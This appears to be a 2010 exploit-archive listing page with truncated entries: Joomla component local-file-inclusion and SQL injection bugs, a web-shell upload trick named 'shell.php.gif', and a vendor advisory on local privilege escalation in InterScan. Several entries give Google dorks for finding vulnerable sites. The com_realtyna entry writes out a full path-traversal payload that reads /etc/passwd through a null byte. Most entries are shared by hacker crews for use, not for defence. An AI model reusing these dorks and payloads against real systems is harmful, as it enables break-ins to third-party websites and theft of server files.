Name : Joomla jesectionfinder LFI Vulnerability
Date : june, 26 2010
Critical Level : HIGH
Vendor Url : http://joomlaextensions.co.in/component/awd_song/
Google Dork: inurl:/component/jesectionfinder/
Price:$25.00
Author : Sid3^effects aKa HaRi
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends luv y0 guyz
############################################################
Description:
This component for web-based business that specialises in buying and selling sections [...]

Continue reading...

Exploit Title: Joomla JE Story submit SQL Injection
Vendor url:http://joomlaextensions.co.in
Version:1.4
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat, Sai, KD, M4n0j.
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW members.
Description:
100% MVC structure follow. User can add your stories in joomla article.
Front end:
User can add stories. Admin and users get mail after user adds the story. Admin approve [...]

Continue reading...

# Author: ViRuS Qalaa
# Email: h1g@hotmail.it
# My Sites : www.pal-mafia.com & www.vbspiders.com
# Script home: http://www.speedy-up.com/
# Tested on: Windows
# Team hacker:ViRuS Qalaa & HaCkEr aRaR & ViRuS KSA>>>X-MaN HaCk3r TeaM
:::::::::::::::::::::::::
=================Exploit=================
DorK:No DorK In MY Exploit
First Upload your shell.php.gif on The Script Speedy 1,0
—-exploit—-
I will show you the direct download link list in your browser and enjoy Blcl
your [...]

Continue reading...

Advisory Name: Local Privilege Escalation in InterScan Web Security Virtual
Apliance 5.0
Internal Cybsec Advisory Id: 2010-0604
Vulnerability Class: Local Privilege Escalation
Release Date: 22-06-2010
Affected Applications: InterScan Web Security Virtual Aplliance 5.0. Other versions may be affected
Affected Platforms: Red Hat nash 5.1
Local / Remote: Local
Severity: Medium - CVSS: 6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C)
Researcher: Ivan Huertas
Vendor Status: Patched
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf
Vulnerability [...]

Continue reading...

=================================================
Joomla Component com_realtyna LFI vulnerability
=================================================
[!]===============================================[!]
[~] Joomla Component com_realtyna LFI vulnerability
[~] Author : MISTERFRIBO
[~] Homepage : http://www.indonesianhacker.or.id
[~] Vendor: http://software.realtyna.com/
[~] Date : 23 june, 2010
[!]==============================================[!]
[^] dork : inurl:”joomla”
[!]==============================================[!]
[ Vulnerable File ]=-
http://[localhost]/index.php?option=com_realtyna&controller=[FRIBO]
[ XpL ]=-
../../../../../../../../../../../../../../../etc/passwd%00
[!]=============================================[!]
[ Thx TO ]=-
[+] Indonesian Hacker Team, Arumbia, IndonesianCoder Team, Kill-9,
Yogyacarderlink, ServerIsDown
[+] tukulesto,Kamtiez,xr0b0t si om
bagus,arianom,N4CK0,Jundab,bobyhikaru,gonzhack,senot,Jack-
[+]
Contrex,YadoY666,bumble_be,MarahMeraH,Suddendeath,r4tu_l364h,IBL13Z,r3m1ck
[+] ELVIN4,Gh4mb4s,vYcOd,ayy,otong,CS-31,yur4kh4,ranggamagic
[+] v3n0m, z0mb13, setanmuda, Jali, Hmei7
[ NOTE ]=-
[+] Mrs.Fribo Jangan [...]

Continue reading...